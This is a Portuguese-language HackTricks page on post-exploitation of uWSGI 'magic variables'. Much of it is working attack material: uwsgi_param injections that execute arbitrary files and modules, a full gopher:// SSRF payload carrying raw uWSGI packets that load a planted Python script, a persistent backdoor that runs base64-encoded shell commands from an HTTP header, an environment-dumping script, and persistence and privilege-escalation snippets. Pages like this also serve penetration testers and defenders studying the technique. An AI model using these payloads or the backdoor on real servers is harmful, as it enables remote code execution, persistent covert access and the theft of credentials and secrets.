WSGI Post-Exploitation Tricks
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
WSGI Overview
Web Server Gateway Interface (WSGI) é uma especificação que descreve como um servidor web se comunica com aplicações web, e como aplicações web podem ser encadeadas para processar uma requisição. uWSGI é um dos servidores WSGI mais populares, frequentemente usado para servir aplicações web Python.
uWSGI Magic Variables Exploitation
uWSGI fornece variáveis especiais "magic variables" que podem ser usadas para configurar dinamicamente o comportamento do servidor. Essas variáveis podem ser definidas através de cabeçalhos HTTP e podem levar a vulnerabilidades de segurança graves quando não validadas corretamente.
Key Exploitable Variables
UWSGI_FILE - Arbitrary File Execution
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Esta variável permite carregar e executar arquivos Python arbitrários como aplicações WSGI. Se um atacante puder controlar este parâmetro, ele pode obter Remote Code Execution (RCE).
UWSGI_SCRIPT - Carregamento de Script
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Carrega um script especificado como uma nova aplicação. Combinado com capacidades de upload ou escrita de arquivos, isso pode levar a RCE.
UWSGI_MODULE e UWSGI_CALLABLE - Carregamento dinâmico de módulos
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Esses parâmetros permitem carregar módulos Python arbitrários e chamar funções específicas dentro deles.
UWSGI_SETENV - Manipulação de Variáveis de Ambiente
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Pode ser usado para modificar variáveis de ambiente, potencialmente afetando o comportamento da aplicação ou carregando configurações maliciosas.
UWSGI_PYHOME - Manipulação do Ambiente Python
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Altera o ambiente virtual do Python, potencialmente carregando pacotes maliciosos ou diferentes intérpretes Python.
UWSGI_CHDIR - Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Altera o diretório de trabalho antes de processar requisições, o que pode ser usado para ataques de path traversal.
SSRF + Gopher para
Vetor de Ataque
Quando o uWSGI é acessível via SSRF (Server-Side Request Forgery), atacantes podem interagir com o socket interno do uWSGI para explorar magic variables. Isso é particularmente perigoso quando:
- A aplicação tem vulnerabilidades de SSRF
 - o uWSGI está rodando em uma porta/socket interno
 - A aplicação não valida corretamente magic variables
 
O uWSGI é acessível devido ao SSRF porque o arquivo de configuração uwsgi.ini contém: socket = 127.0.0.1:5000, tornando-o acessível a partir da aplicação web via SSRF.
Exemplo de Exploração
Passo 1: Criar Payload Malicioso
Primeiro, injete código Python em um arquivo acessível pelo servidor (gravação de arquivo dentro do servidor, a extensão do arquivo não importa):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Passo 2: Criar requisição do protocolo uWSGI
Use o protocolo Gopher para enviar pacotes uWSGI brutos:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Este payload:
- Conecta-se ao uWSGI na porta 5000
 - Define 
UWSGI_FILEpara apontar para o arquivo malicioso - Força o uWSGI a carregar e executar o código Python
 
Estrutura do Protocolo uWSGI
O protocolo uWSGI usa um formato binário onde:
- Variáveis são codificadas como strings prefixadas por tamanho
 - Cada variável possui: 
[name_length][name][value_length][value] - O pacote começa com um cabeçalho contendo o tamanho total
 
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Então use UWSGI_FILE para carregar este backdoor:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Environment-based Persistence
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Divulgação de Informações
Despejo de Variáveis de Ambiente
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Acesso ao Sistema de Arquivos
Use UWSGI_CHDIR combinado com file serving para acessar arquivos sensíveis:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
Se o uWSGI estiver em execução com privilégios elevados, atacantes podem manipular as permissões do socket:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Sobrescrita de Configuração
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Referências
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
HackTricks